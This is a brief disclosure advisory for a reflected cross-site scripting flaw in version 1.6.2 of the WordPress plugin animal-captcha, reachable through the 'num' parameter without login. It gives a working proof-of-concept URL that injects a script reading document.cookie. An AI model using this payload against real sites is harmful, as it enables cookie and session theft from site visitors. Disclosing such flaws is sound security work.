Wp Plugin Animal Captcha

Plugin Details

Plugin Name: wp-plugin : animal-captcha
Effected Version : 1.6.2 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Minimum Level of Access Required : Unauthenticated
CVE Number :
Identified by : Anantshri
WPScan Reference URL

Disclosure Timeline

Technical Details

http://localhost/wp-content/plugins/animal-captcha/source/example.php?num=num'><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : num

 

Type of XSS : Reflected